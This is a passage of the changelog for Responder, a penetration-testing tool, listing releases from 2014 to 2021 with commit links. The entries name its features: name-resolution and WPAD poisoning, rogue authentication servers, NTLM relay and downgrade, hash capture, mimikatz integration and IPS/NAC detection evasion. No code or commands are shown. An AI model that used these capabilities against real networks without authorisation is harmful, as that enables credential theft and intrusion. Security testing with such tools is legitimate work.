- added the ability to provide external IP on WPAD poison via DHCP ([ba885b9](https://github.com/lgandx/Responder/commit/ba885b9345024809555d1a2c1f8cc463870602bb) by lgandx).
- Added a check for MSSQL ([5680487](https://github.com/lgandx/Responder/commit/568048710f0cf5c04c53fd8e026fdd1b3f5c16e6) by lgandx).
### Fixed
- Fixed the ON/OFF for poisoners when in Analyze mode. ([3cd5140](https://github.com/lgandx/Responder/commit/3cd5140c800d8f4e9e8547e4137cafe33fc2f066) by lgandx).
### Removed
- Remove analyze mode on DNS since you need to ARP to get queries ([17e62bd](https://github.com/lgandx/Responder/commit/17e62bda1aed4884c1f08e514faba8c1e39b36ad) by lgandx).
## [v3.0.8.0](https://github.com/lgandx/Responder/releases/tag/v3.0.8.0) - 2021-12-03
<small>[Compare with v3.0.7.0](https://github.com/lgandx/Responder/compare/v3.0.7.0...v3.0.8.0)</small>
### Added
- Added DB for RunFinger results & Report ([f90b76f](https://github.com/lgandx/Responder/commit/f90b76fed202ee4a6e17a030151c8de4430717a8) by lgandx).
- added timeout option for fine tuning ([a462d1d](https://github.com/lgandx/Responder/commit/a462d1df061b214eebcabdbe3f95caa5dd8ea3c7) by lgandx).
- added DHCP db & updated the report script to reflect that ([1dfa997](https://github.com/lgandx/Responder/commit/1dfa997da8c0fa1e51a1be30b2a3d5f5d92f4b7f) by lgandx).
- Added support for single IP or range file. ([02fb3f8](https://github.com/lgandx/Responder/commit/02fb3f8978286a486d633a707889ea8992a7f43a) by lgandx).
### Fixed
- fix: DHCP now working on VPN interface ([88a2c6a](https://github.com/lgandx/Responder/commit/88a2c6a53b721da995fbbd8e5cd82fb40d4af268) by lgandx).
- Fixed a bug and increased speed. ([1b2a22f](https://github.com/lgandx/Responder/commit/1b2a22facfd54820cc5f8ebba06f5cd996e917dc) by lgandx).
### Removed
- Removed old DHCP script since its now a Responder module. ([d425783](https://github.com/lgandx/Responder/commit/d425783be994b0d2518633e4b93e13e305685e5b) by lgandx).
- removed default certs ([de778f6](https://github.com/lgandx/Responder/commit/de778f66982817f1149408bc2e080371d3d4a71d) by lgandx).
- Removed the static certs and added automatic cert generation ([21afd35](https://github.com/lgandx/Responder/commit/21afd357f828b586cfa96992c8c978024285b162) by lgandx).
- removed debug str ([826b5af](https://github.com/lgandx/Responder/commit/826b5af9e2e37d50afdd3eb3ee66121e6c81c2a2) by lgandx).
## [v3.0.7.0](https://github.com/lgandx/Responder/releases/tag/v3.0.7.0) - 2021-10-26
<small>[Compare with v3.0.6.0](https://github.com/lgandx/Responder/compare/v3.0.6.0...v3.0.7.0)</small>
### Added
- Added DHCP server ([c449b6b](https://github.com/lgandx/Responder/commit/c449b6bcb990959e352967b3842b09978b9b2729) by lgandx).
- Add --lm switch for ESS downgrade ([dcb80d9](https://github.com/lgandx/Responder/commit/dcb80d992e385a0f0fdd3f724a0b040a42439306) by Pixis).
- Add ESS disabling information ([51f8ab4](https://github.com/lgandx/Responder/commit/51f8ab43682973df32534ca97c99fb1318a0c77d) by Pixis).
- Add ESS downgrade parameter ([baf80aa](https://github.com/lgandx/Responder/commit/baf80aa4f0e1aaf9ee81ffe6b0b5089d39f42516) by pixis).
### Fixed
- fixed minor isse ([350058c](https://github.com/lgandx/Responder/commit/350058c1795e43c23950b6bd23c33f45795ec7cc) by lgandx).
## [v3.0.6.0](https://github.com/lgandx/Responder/releases/tag/v3.0.6.0) - 2021-04-19
<small>[Compare with v3.0.5.0](https://github.com/lgandx/Responder/compare/v3.0.5.0...v3.0.6.0)</small>
### Added
- Added WinRM rogue server ([8531544](https://github.com/lgandx/Responder/commit/85315442bd010dd61fcb62de8d6ca9cc969426ba) by lgandx).
## [v3.0.5.0](https://github.com/lgandx/Responder/releases/tag/v3.0.5.0) - 2021-04-17
<small>[Compare with v3.0.4.0](https://github.com/lgandx/Responder/compare/v3.0.4.0...v3.0.5.0)</small>
### Added
- Added dce-rpc module + enhancements + bug fix. ([e91e37c](https://github.com/lgandx/Responder/commit/e91e37c9749f58330e0d68ce062a48b100a2d09e) by lgandx).
### Removed
- removed addiontional RR on SRV answers ([027e6b9](https://github.com/lgandx/Responder/commit/027e6b95c3ca89367cb5123758c2fc29aba27a59) by lgandx).
## [v3.0.4.0](https://github.com/lgandx/Responder/releases/tag/v3.0.4.0) - 2021-04-12
<small>[Compare with v3.0.3.0](https://github.com/lgandx/Responder/compare/v3.0.3.0...v3.0.4.0)</small>
### Added
- Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping ([1271b8e](https://github.com/lgandx/Responder/commit/1271b8e17983bd3969d951ce2b4c9b75600f94b9) by lgandx).
- added a check for exec file ([cc3a5b5](https://github.com/lgandx/Responder/commit/cc3a5b5cfffbb8e7430030aa66a2981feae7fe85) by lgandx).
- Added donation banner. ([8104139](https://github.com/lgandx/Responder/commit/8104139a3535a49caf7ec0ed64e8e33ea686494f) by lgandx).
- added donation address and minor typo ([06f9f91](https://github.com/lgandx/Responder/commit/06f9f91f118b0729a74d3c1810a493886655e6f1) by lgandx).
- added smb filetime support ([b0f044f](https://github.com/lgandx/Responder/commit/b0f044fe4e710597ae73e6f1af87ea246b0cd365) by lgandx).
### Removed
- removed FindSMB2UPTime.py since RunFinger already get this info ([6c51080](https://github.com/lgandx/Responder/commit/6c51080109fd8c9305021336c0dc8c72e01b5541) by lgandx).
- Removed MultiRelay binaries ([35b12b4](https://github.com/lgandx/Responder/commit/35b12b48323b1960960aba916334635d5a590875) by lgandx).
- Removed BindShell executable file ([5d762c4](https://github.com/lgandx/Responder/commit/5d762c4a550f2c578f4d7874f24563240276852d) by lgandx).
- Removed donation banner ([ccee87a](https://github.com/lgandx/Responder/commit/ccee87aa95f2ec16827592ba9d98c4895cec0cb9) by lgandx).
- removed verification ([dd1a674](https://github.com/lgandx/Responder/commit/dd1a67408081c94490a3263c46b2eb0b6107e542) by lgandx).
## [v3.0.3.0](https://github.com/lgandx/Responder/releases/tag/v3.0.3.0) - 2021-02-08
<small>[Compare with v3.0.2.0](https://github.com/lgandx/Responder/compare/v3.0.2.0...v3.0.3.0)</small>
### Added
- Added support for SMB2 signing ([24e7b7c](https://github.com/lgandx/Responder/commit/24e7b7c667c3c9feb1cd3a25b16bd8d9c2df5ec6) by lgandx).
- Added SMB2 support for RunFinger and various other checks. ([e24792d](https://github.com/lgandx/Responder/commit/e24792d7743dbf3a5c5ffac92113e36e5d682e42) by lgandx).
### Fixed
- Fix wrong syntax ([fb10d20](https://github.com/lgandx/Responder/commit/fb10d20ea387448ad084a57f5f4441c908fc53cc) by Khiem Doan).
- fix custom challenge in python3 ([7b47c8f](https://github.com/lgandx/Responder/commit/7b47c8fe4edcb53b035465985d92500b96fb1a84) by ThePirateWhoSmellsOfSunflowers).
- Fix typos in README ([12b796a](https://github.com/lgandx/Responder/commit/12b796a292b87be15ef8eec31cb276c447b9e8c8) by Laban Sköllermark).
## [v3.0.2.0](https://github.com/lgandx/Responder/releases/tag/v3.0.2.0) - 2020-09-28
<small>[Compare with v3.0.1.0](https://github.com/lgandx/Responder/compare/v3.0.1.0...v3.0.2.0)</small>
### Fixed
- Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface ([af7d27a](https://github.com/lgandx/Responder/commit/af7d27ac8cb3c2b0664a8b0a11940c0f3c25c891) by lgandx).
## [v3.0.1.0](https://github.com/lgandx/Responder/releases/tag/v3.0.1.0) - 2020-08-19
<small>[Compare with v3.0.0.0](https://github.com/lgandx/Responder/compare/v3.0.0.0...v3.0.1.0)</small>
### Added
- Added DNSUpdate.py, a small script to add DNS record to DC for gatering from different VLANs ([05617de](https://github.com/lgandx/Responder/commit/05617defefcd6954915d0b42d73d4ccfcccad2d4) by Sagar-Jangam).
### Fixed
- Fix encoding issue in Python 3 ([7420f62](https://github.com/lgandx/Responder/commit/7420f620825d5a5ae6dc68364a5680910f7f0512) by Sophie Brun).
## [v3.0.0.0](https://github.com/lgandx/Responder/releases/tag/v3.0.0.0) - 2020-01-09
<small>[Compare with v2.3.4.0](https://github.com/lgandx/Responder/compare/v2.3.4.0...v3.0.0.0)</small>
### Added
- Added py3 and py2 compatibility + many bugfix ([b510b2b](https://github.com/lgandx/Responder/commit/b510b2bb2523a3fe24953ac685e697914a60b26c) by lgandx).
## [v2.3.4.0](https://github.com/lgandx/Responder/releases/tag/v2.3.4.0) - 2019-08-17
<small>[Compare with v2.3.3.9](https://github.com/lgandx/Responder/compare/v2.3.3.9...v2.3.4.0)</small>
### Added
- Added RDP rogue server ([c52843a](https://github.com/lgandx/Responder/commit/c52843a5359a143c5a94a74c095d6ac4679cd4b1) by lgandx).
- Added proper changes to RunFinger (and is not checking for MS17-010 straight away) ([105502e](https://github.com/lgandx/Responder/commit/105502edd401615604e09a9a71a268252c82523d) by Paul A).
### Fixed
- Fix socket timeout on HTTP POST requests ([e7a787c](https://github.com/lgandx/Responder/commit/e7a787cbc4e01e92be6e062e94211dca644fae0c) by Crypt0-M3lon).
- fixed minor bugfix on recent merge ([38e721d](https://github.com/lgandx/Responder/commit/38e721da9826b95ed3599151559e8f8c535e4d6e) by lgandx).
- Fix multi HTTP responses ([defabfa](https://github.com/lgandx/Responder/commit/defabfa543f0b567d7e981003c7a00d7f02c3a16) by Clément Notin).
- Fix version number in settings.py ([621c5a3](https://github.com/lgandx/Responder/commit/621c5a3c125646c14db19fc48f30e4075102c929) by Clément Notin).
- Fixed some small typos in MS17-010 output ([daaf6f7](https://github.com/lgandx/Responder/commit/daaf6f7296ee754fe37b2382d0e459f7b6e74dcc) by Chris Maddalena).
### Removed
- removed debug string ([47e63ae](https://github.com/lgandx/Responder/commit/47e63ae4ec3266a35845d0bf116cf17fa0d17fd7) by lgandx).
## [v2.3.3.9](https://github.com/lgandx/Responder/releases/tag/v2.3.3.9) - 2017-11-20
<small>[Compare with v2.3.3.8](https://github.com/lgandx/Responder/compare/v2.3.3.8...v2.3.3.9)</small>
### Added
- Added: check for null sessions and MS17-010 ([b37f562](https://github.com/lgandx/Responder/commit/b37f56264a6b57faff81c12a8143662bf1ddb91d) by lgandx).
- Add ignore case on check body for html inject ([47c3115](https://github.com/lgandx/Responder/commit/47c311553eb38327622d5e6b25e20a662c31c30d) by Lionel PRAT).
- added support for plain auth ([207b0d4](https://github.com/lgandx/Responder/commit/207b0d455c95a5cd68fbfbbc022e5cc3cb41878f) by lgandx).
## [v2.3.3.8](https://github.com/lgandx/Responder/releases/tag/v2.3.3.8) - 2017-09-05
<small>[Compare with v2.3.3.7](https://github.com/lgandx/Responder/compare/v2.3.3.7...v2.3.3.8)</small>
### Changed
- Changed the complete LDAP parsing hash algo (ntlmv2 bug). ([679cf65](https://github.com/lgandx/Responder/commit/679cf65cff0c537b594d284cd01e2ea9c690d4ae) by lgandx).
## [v2.3.3.7](https://github.com/lgandx/Responder/releases/tag/v2.3.3.7) - 2017-09-05
<small>[Compare with v2.3.3.6](https://github.com/lgandx/Responder/compare/v2.3.3.6...v2.3.3.7)</small>
### Added
- Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 ([5859c31](https://github.com/lgandx/Responder/commit/5859c31e8ecf35c5b12ac653e8ab793bc9270604) by Matt Kelly).
- Add Microsoft SQL Server Browser responder ([bff935e](https://github.com/lgandx/Responder/commit/bff935e71ea401a4477004022623b1617ac090b3) by Matthew Daley).
- added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz ([38219e2](https://github.com/lgandx/Responder/commit/38219e249e700c1b20317e0b96f4a120fdfafb98) by lgandx).
### Fixed
- Fixed various bugs and improved the LDAP module. ([be26b50](https://github.com/lgandx/Responder/commit/be26b504b5133c78158d9794cd361ce1a7418775) by lgandx).
- Fixed space typo in FindSMB2UPTime.py ([11c0096](https://github.com/lgandx/Responder/commit/11c00969c36b2ed51763ee6c975870b05e84cdcb) by myst404).
- Fixed instances of "CRTL-C" to "CTRL-C" ([44a4e49](https://github.com/lgandx/Responder/commit/44a4e495ccb21098c6b882feb25e636510fc72b9) by Randy Ramos).
## [v2.3.3.6](https://github.com/lgandx/Responder/releases/tag/v2.3.3.6) - 2017-03-29
<small>[Compare with v2.3.3.5](https://github.com/lgandx/Responder/compare/v2.3.3.5...v2.3.3.6)</small>
### Fixed
- Fixed bug in FindSMB2UPTime ([6f3cc45](https://github.com/lgandx/Responder/commit/6f3cc4564c9cf34b75ef5469fd54edd4b3004b54) by lgandx).
### Removed
- Removed Paypal donation link. ([b05bdca](https://github.com/lgandx/Responder/commit/b05bdcab9600ad4e7ef8b70e2d8ee1b03b8b442a) by lgandx).
## [v2.3.3.5](https://github.com/lgandx/Responder/releases/tag/v2.3.3.5) - 2017-02-18
<small>[Compare with v2.3.3.4](https://github.com/lgandx/Responder/compare/v2.3.3.4...v2.3.3.5)</small>
## [v2.3.3.4](https://github.com/lgandx/Responder/releases/tag/v2.3.3.4) - 2017-02-18
<small>[Compare with v2.3.3.3](https://github.com/lgandx/Responder/compare/v2.3.3.3...v2.3.3.4)</small>
### Added
- Added: Hashdump, Stats report ([21d48be](https://github.com/lgandx/Responder/commit/21d48be98fd30a9fd0747588cbbb070ed0ce100b) by lgandx).
- added `ip` commands in addition to ifconfig and netstat ([db61f24](https://github.com/lgandx/Responder/commit/db61f243c9cc3c9821703c78e780e745703c0bb3) by thejosko).
### Fixed
- fixed crash: typo. ([0642999](https://github.com/lgandx/Responder/commit/0642999741b02de79266c730cc262bb3345644f9) by lgandx).
- Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string ([de6e869](https://github.com/lgandx/Responder/commit/de6e869a7981d49725e791303bd16c4159d70880) by Gifts).
- Fix Proxy_Auth. Random challenge broke it. ([5a2ee18](https://github.com/lgandx/Responder/commit/5a2ee18bfaa66ff245747cf8afc114a9a894507c) by Timon Hackenjos).
## [v2.3.3.3](https://github.com/lgandx/Responder/releases/tag/v2.3.3.3) - 2017-01-03
<small>[Compare with v2.3.3.2](https://github.com/lgandx/Responder/compare/v2.3.3.2...v2.3.3.3)</small>
### Added
- Added: Random challenge for each requests (default) ([0d441d1](https://github.com/lgandx/Responder/commit/0d441d1899053fde6792288fc83be0c883df19f0) by lgandx).
## [v2.3.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.3.2) - 2017-01-03
<small>[Compare with v2.3.3.1](https://github.com/lgandx/Responder/compare/v2.3.3.1...v2.3.3.2)</small>
### Added
- Added: Random challenge for each requests (default) ([1d38cd3](https://github.com/lgandx/Responder/commit/1d38cd39af9154f5a9e898428de25fe0afa68d2f) by lgandx).
- Added paypal button ([17dc81c](https://github.com/lgandx/Responder/commit/17dc81cb6833a91300d0669398974f0ed9bc006e) by lgandx).
- Added: Scripting support. -c and -d command line switch ([ab2d890](https://github.com/lgandx/Responder/commit/ab2d8907f033384e593a38073e50604a834f4bf3) by lgandx).
- Added: BTC donation address ([730808c](https://github.com/lgandx/Responder/commit/730808c83c0c7f67370ceeff977b0e727eb28ea4) by lgandx).
### Removed
- Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones. ([4a7499d](https://github.com/lgandx/Responder/commit/4a7499df039269094c718eb9e19760e79eea86f7) by lgandx).
## [v2.3.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.3.1) - 2016-10-18
<small>[Compare with v2.3.3.0](https://github.com/lgandx/Responder/compare/v2.3.3.0...v2.3.3.1)</small>
### Added
- Added: Logs dumped files for multiple targets ([d560105](https://github.com/lgandx/Responder/commit/d5601056b386a7ae3ca167f0562cbe87bf004c38) by lgandx).
### Fixed
- Fixed wrong challenge issue ([027f841](https://github.com/lgandx/Responder/commit/027f841cdf11fd0ad129825dcc70d6ac8b5d3983) by lgandx).
## [v2.3.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.3.0) - 2016-10-12
<small>[Compare with v2.3.2.8](https://github.com/lgandx/Responder/compare/v2.3.2.8...v2.3.3.0)</small>
### Added
- Added: Compability for Multi-Relay ([5b06173](https://github.com/lgandx/Responder/commit/5b0617361ede8df67caad4ca89723ad18a67fa53) by lgandx).
### Fixed
- Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4) ([60c91c6](https://github.com/lgandx/Responder/commit/60c91c662607c3991cb760c7dd221e81cfb69518) by lgandx).
- Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6) ([ce211f7](https://github.com/lgandx/Responder/commit/ce211f7fcfa7ea9e3431161fec5075ca63730070) by lgandx).
- fixed bug in hash parsing. ([0cf1087](https://github.com/lgandx/Responder/commit/0cf1087010088ef1c3fecc7d2ad851c7c49d0639) by lgandx).
### Changed
- Changed to executable ([3e46ecd](https://github.com/lgandx/Responder/commit/3e46ecd27e53c58c3dc38888a2db1d3340a5a3ab) by lgandx).
## [v2.3.2.8](https://github.com/lgandx/Responder/releases/tag/v2.3.2.8) - 2016-10-06
<small>[Compare with v2.3.2.7](https://github.com/lgandx/Responder/compare/v2.3.2.7...v2.3.2.8)</small>
### Added
- Added: Now delete services on the fly. ([c6e401c](https://github.com/lgandx/Responder/commit/c6e401c2290fbb6c68bbc396915ea3fa7b11b5f0) by lgandx).
## [v2.3.2.7](https://github.com/lgandx/Responder/releases/tag/v2.3.2.7) - 2016-10-05
<small>[Compare with v2.3.2.6](https://github.com/lgandx/Responder/compare/v2.3.2.6...v2.3.2.7)</small>
### Added
- Added: Possibility to target all users. use 'ALL' with -u ([d81ef9c](https://github.com/lgandx/Responder/commit/d81ef9c33ab710f973c68f60cd0b7960f9e4841b) by lgandx).
### Fixed
- Fixed minor bug ([7054c60](https://github.com/lgandx/Responder/commit/7054c60f38cafc7e1c4d8a6ce39e12afbfc8b482) by lgandx).
## [v2.3.2.6](https://github.com/lgandx/Responder/releases/tag/v2.3.2.6) - 2016-10-05
<small>[Compare with v2.3.2.5](https://github.com/lgandx/Responder/compare/v2.3.2.5...v2.3.2.6)</small>
## [v2.3.2.5](https://github.com/lgandx/Responder/releases/tag/v2.3.2.5) - 2016-10-03
<small>[Compare with v2.3.2.4](https://github.com/lgandx/Responder/compare/v2.3.2.4...v2.3.2.5)</small>
### Added
- Added logs folder. ([cd09e19](https://github.com/lgandx/Responder/commit/cd09e19a9363867a75d7db1dea4830969bc0d68e) by lgandx).
- Added: Cross-protocol NTLMv1-2 relay (beta). ([ab67070](https://github.com/lgandx/Responder/commit/ab67070a2b82e94f2abb506a69f8fa8c0dc09852) by lgandx).
### Removed
- Removed logs folder. ([5d83778](https://github.com/lgandx/Responder/commit/5d83778ac7caba920874dc49f7523c6ef80b6d7b) by lgandx).
## [v2.3.2.4](https://github.com/lgandx/Responder/releases/tag/v2.3.2.4) - 2016-09-12
<small>[Compare with v2.3.2.3](https://github.com/lgandx/Responder/compare/v2.3.2.3...v2.3.2.4)</small>
## [v2.3.2.3](https://github.com/lgandx/Responder/releases/tag/v2.3.2.3) - 2016-09-12
<small>[Compare with v2.3.2.2](https://github.com/lgandx/Responder/compare/v2.3.2.2...v2.3.2.3)</small>
### Added
- Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. ([35d933d](https://github.com/lgandx/Responder/commit/35d933d5964df607ec714ced93e4cb197ff2bfe7) by lgandx).
## [v2.3.2.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2.2) - 2016-09-12
<small>[Compare with v2.3.2.1](https://github.com/lgandx/Responder/compare/v2.3.2.1...v2.3.2.2)</small>
### Added
- Added support for webdav, auto credz. ([ad9ce6e](https://github.com/lgandx/Responder/commit/ad9ce6e659ffd9dd31714260f906c8de02223398) by lgandx).
- Added option -e, specify an external IP address to redirect poisoned traffic to. ([04c270f](https://github.com/lgandx/Responder/commit/04c270f6b75cd8eb833cca3b71965450d925e6ac) by lgandx).
### Removed
- removed debug info ([3e2e375](https://github.com/lgandx/Responder/commit/3e2e375987ce2ae03e6a88ffadabb13823ba859c) by lgandx).
## [v2.3.2.1](https://github.com/lgandx/Responder/releases/tag/v2.3.2.1) - 2016-09-11
<small>[Compare with v2.3.2](https://github.com/lgandx/Responder/compare/v2.3.2...v2.3.2.1)</small>
## [v2.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2) - 2016-09-11
<small>[Compare with v2.3.1](https://github.com/lgandx/Responder/compare/v2.3.1...v2.3.2)</small>
### Added
- Added proxy auth server + various fixes and improvements ([82fe64d](https://github.com/lgandx/Responder/commit/82fe64dfd988321cbc1a8cb3d8f01caa38f4193e) by lgandx).
- Added current date for all HTTP headers, avoiding easy detection ([ecd62c3](https://github.com/lgandx/Responder/commit/ecd62c322f48eadb235312ebb1e57375600ef0f1) by lgandx).
### Removed
- Removed useless HTTP headers ([881dae5](https://github.com/lgandx/Responder/commit/881dae59cf3c95047d82b34208f57f94b3e85b04) by lgandx).
## [v2.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.1) - 2016-09-09
<small>[Compare with v2.3.0](https://github.com/lgandx/Responder/compare/v2.3.0...v2.3.1)</small>
### Added
- Added SMBv2 support enabled by default. ([85d7974](https://github.com/lgandx/Responder/commit/85d7974513a9b6378ed4c0c07a7dd640c27ead9b) by lgandx).
- added new option, for Config-Responder.log file. ([a9c2b29](https://github.com/lgandx/Responder/commit/a9c2b297c6027030e3f83c7626fff6f66d5a4f1b) by lgaffie).
- Add compatability with newer net-tools ifconfig. ([e19e349](https://github.com/lgandx/Responder/commit/e19e34997e68a2f567d04d0c013b7870530b7bfd) by Hank Leininger).
- Add HTTP Referer logging ([16e6464](https://github.com/lgandx/Responder/commit/16e6464748d3497943a9d96848ead9058dc0f7e9) by Hubert Seiwert).
- Added recent Windows versions. ([6eca29d](https://github.com/lgandx/Responder/commit/6eca29d08cdd0d259760667da0c41e76d2cd2693) by Jim Shaver).
- Added: Support for OSx ([59e48e8](https://github.com/lgandx/Responder/commit/59e48e80dd6153f83899413c2fc71a46367d4abf) by lgandx).
### Fixed
- Fixed colors in log files ([d9258e2](https://github.com/lgandx/Responder/commit/d9258e2dd80ab1d62767377250c76bf5c9f2a50d) by lgaffie).
- Fixed the regexes for Authorization: headers. ([a81a9a3](https://github.com/lgandx/Responder/commit/a81a9a31e4dbef2890fbf51830b6a9374d6a8f8a) by Hank Leininger).
- Fix Windows 10 support. ([a84b351](https://github.com/lgandx/Responder/commit/a84b3513e1fdd47025ceaa743ce0f506f162640b) by ValdikSS).
- Fixed color bug in Analyze mode ([04c841d](https://github.com/lgandx/Responder/commit/04c841d34e0d32970f08ae91ad0f931b1b90d6ab) by lgandx).
- fixed minor bug ([6f8652c](https://github.com/lgandx/Responder/commit/6f8652c0fccfe83078254d7b38cb9fd517a6bf42) by lgandx).
- Fixed Icmp-Redirect.. ([df63c1f](https://github.com/lgandx/Responder/commit/df63c1fc138d1682a86bc2114a5352ae897865c6) by lgandx).
- Fixed some tools and +x on some executables ([8171a96](https://github.com/lgandx/Responder/commit/8171a96b9eaac3cd25ef18e8ec8b303c5877f4d0) by lgandx).
- Fix generation of HTTP response in HTTP proxy ([b2830e0](https://github.com/lgandx/Responder/commit/b2830e0a4f46f62db4d34b3e8f93ea505be32000) by Antonio Herraiz).
- Fix misspelling of poisoners ([6edc01d](https://github.com/lgandx/Responder/commit/6edc01d8511189489e4b5fd9873f25712920565c) by IMcPwn).
### Changed
- change IsOSX to utils.IsOsX. Fixes #89 ([08c3a90](https://github.com/lgandx/Responder/commit/08c3a90b400d0aff307dd43ff4cd6f01ca71a6cb) by Jared Haight).
- Changed email address ([f5a8bf0](https://github.com/lgandx/Responder/commit/f5a8bf0650bc088b6ef5ae7432f2baef0d52852c) by lgandx).
- Changed connection to SQlite db to support different encoded charsets ([0fec40c](https://github.com/lgandx/Responder/commit/0fec40c3b4c621ee21a88906e77c6ea7a56cb8a9) by Yannick Méheut).
- Changed comment to be more clear about what is being done when logging ([08535e5](https://github.com/lgandx/Responder/commit/08535e55391d762be4259a1fada330ef3f0ac134) by Yannick Méheut).
### Removed
- Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump ([a765a8f](https://github.com/lgandx/Responder/commit/a765a8f0949de37940364d0a228aff72c0701aa0) by lgaffie).
## [v2.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.0) - 2015-09-11
<small>[Compare with v2.1.4](https://github.com/lgandx/Responder/compare/v2.1.4...v2.3.0)</small>
### Added
- Added support for Samba4 clients ([ee033e0](https://github.com/lgandx/Responder/commit/ee033e0c7f28a0584c8ebcb2c31fe949581f0022) by lgandx).
- Added support for upstream proxies for the rogue WPAD server ([f4bd612](https://github.com/lgandx/Responder/commit/f4bd612e083698fd94308fd2fd15ba7d8d289fd8) by jrmdev).
### Fixed
- Fixed Harsh Parser variable typo ([5ab431a](https://github.com/lgandx/Responder/commit/5ab431a4fe24a2ba4666b9c51ad59a0bb8a0053d) by lgandx).
- fixed var name ([62ed8f0](https://github.com/lgandx/Responder/commit/62ed8f00626a2ad0fbbfb845e808d77938f4513a) by byt3bl33d3r).
- Fixes MDNS Name parsing error ([3261288](https://github.com/lgandx/Responder/commit/3261288c82fee415dd8e1ba64b80596ef97da490) by byt3bl33d3r).
- Fixed FTP module. ([75664a4](https://github.com/lgandx/Responder/commit/75664a4f37feb897be52480223cd1633d322ede8) by jrmdev).
- Fixing a bug in HTTP proxy, was calling recv() too many times ([ddaa9f8](https://github.com/lgandx/Responder/commit/ddaa9f87674dc8ac3f9104196f2f92cdec130682) by lanjelot).
### Changed
- changed operand ([cb9c2c8](https://github.com/lgandx/Responder/commit/cb9c2c8b97761cc5e00051efd74c9c3fdaf5762d) by byt3bl33d3r).
## [v2.1.4](https://github.com/lgandx/Responder/releases/tag/v2.1.4) - 2014-12-06
<small>[Compare with v2.1.3](https://github.com/lgandx/Responder/compare/v2.1.3...v2.1.4)</small>
### Added
- Added: FindSMB2UPTime script. Find when is the last time a >= 2008 server was updated. ([7a95ef1](https://github.com/lgandx/Responder/commit/7a95ef1474d3cea88680f359581aa89a4e9c30f5) by lgandx).
## [v2.1.3](https://github.com/lgandx/Responder/releases/tag/v2.1.3) - 2014-11-27
<small>[Compare with v2.1.2](https://github.com/lgandx/Responder/compare/v2.1.2...v2.1.3)</small>
### Added
- Added: DontRespondToName and DontRespondTo; NAC/IPS detection evasion ([36ef78f](https://github.com/lgandx/Responder/commit/36ef78f85aea5db33f37a6d1d73bf3bb7f82336f) by lgandx).
- Added --version and kost's fix for /etc/resolv.conf empty lines parsing. ([c05bdfc](https://github.com/lgandx/Responder/commit/c05bdfce17234b216b408080d9aba5db443de507) by lgandx).
## [v2.1.2](https://github.com/lgandx/Responder/releases/tag/v2.1.2) - 2014-08-26
<small>[Compare with v2.1.0](https://github.com/lgandx/Responder/compare/v2.1.0...v2.1.2)</small>
### Added
- Added: Log command line in Responder-Session.log. ([f69e93c](https://github.com/lgandx/Responder/commit/f69e93c02e81a83309d3863f6d5680b36378a16b) by lgandx).
### Fixed
- Fixed serve-always and serve-exe with the new WPAD server. ([cf7b477](https://github.com/lgandx/Responder/commit/cf7b4771caf335a1a283fae08923c413acae3343) by lgandx).
## [v2.1.0](https://github.com/lgandx/Responder/releases/tag/v2.1.0) - 2014-08-16
<small>[Compare with v2.0.9](https://github.com/lgandx/Responder/compare/v2.0.9...v2.1.0)</small>
### Fixed
- fixed: identation. ([5c9fec9](https://github.com/lgandx/Responder/commit/5c9fec923c8cb77f00466db6192b1ecb8980bdcf) by lgandx).
## [v2.0.9](https://github.com/lgandx/Responder/releases/tag/v2.0.9) - 2014-05-28
<small>[Compare with v2.0.8](https://github.com/lgandx/Responder/compare/v2.0.8...v2.0.9)</small>
### Fixed
- Fixed high cpu usage in some specific cases ([4558861](https://github.com/lgandx/Responder/commit/4558861ce2dd56c0e4c5157437c8726a26e382c5) by lgandx).
### Removed
- Removed: old style options. Just use -r instead of -r On ([a21aaf7](https://github.com/lgandx/Responder/commit/a21aaf7987e26eee5455d68cd76ff56b5466b7f2) by lgandx).
## [v2.0.8](https://github.com/lgandx/Responder/releases/tag/v2.0.8) - 2014-04-22
<small>[Compare with v2.0.7](https://github.com/lgandx/Responder/compare/v2.0.7...v2.0.8)</small>
### Added
- Added: in-scope target, windows >= Vista support (-R) and unicast answers only. ([2e4ed61](https://github.com/lgandx/Responder/commit/2e4ed61bba2df61a1e1165b466a369639c425955) by lgandx).
## [v2.0.7](https://github.com/lgandx/Responder/releases/tag/v2.0.7) - 2014-04-16
<small>[Compare with v2.0.6](https://github.com/lgandx/Responder/compare/v2.0.6...v2.0.7)</small>
### Added
- Added: in-scope llmnr/nbt-ns name option ([1c79bed](https://github.com/lgandx/Responder/commit/1c79bedac9083992ba019ff7134cdb3c718a6f15) by lgandx).
- Added: Kerberos server and -d cli option. ([dcede0f](https://github.com/lgandx/Responder/commit/dcede0fdf5e060e77fc51fbad2da3dbbff8edf8d) by lgandx).
## [v2.0.6](https://github.com/lgandx/Responder/releases/tag/v2.0.6) - 2014-04-01
<small>[Compare with v2.0.5](https://github.com/lgandx/Responder/compare/v2.0.5...v2.0.6)</small>
### Fixed
- Fixed [Enter] key issue ([c97a13c](https://github.com/lgandx/Responder/commit/c97a13c1bdb79b4dcdf43f889fdd586c3c39b893) by lgandx).
## [v2.0.5](https://github.com/lgandx/Responder/releases/tag/v2.0.5) - 2014-03-22
<small>[Compare with v2.0.4](https://github.com/lgandx/Responder/compare/v2.0.4...v2.0.5)</small>
### Added
- Added: In-scope IP handling for MDNS ([b14ff0b](https://github.com/lgandx/Responder/commit/b14ff0b36a100736f293ddbd8bbe1c538a370347) by lgandx).
## [v2.0.4](https://github.com/lgandx/Responder/releases/tag/v2.0.4) - 2014-03-22
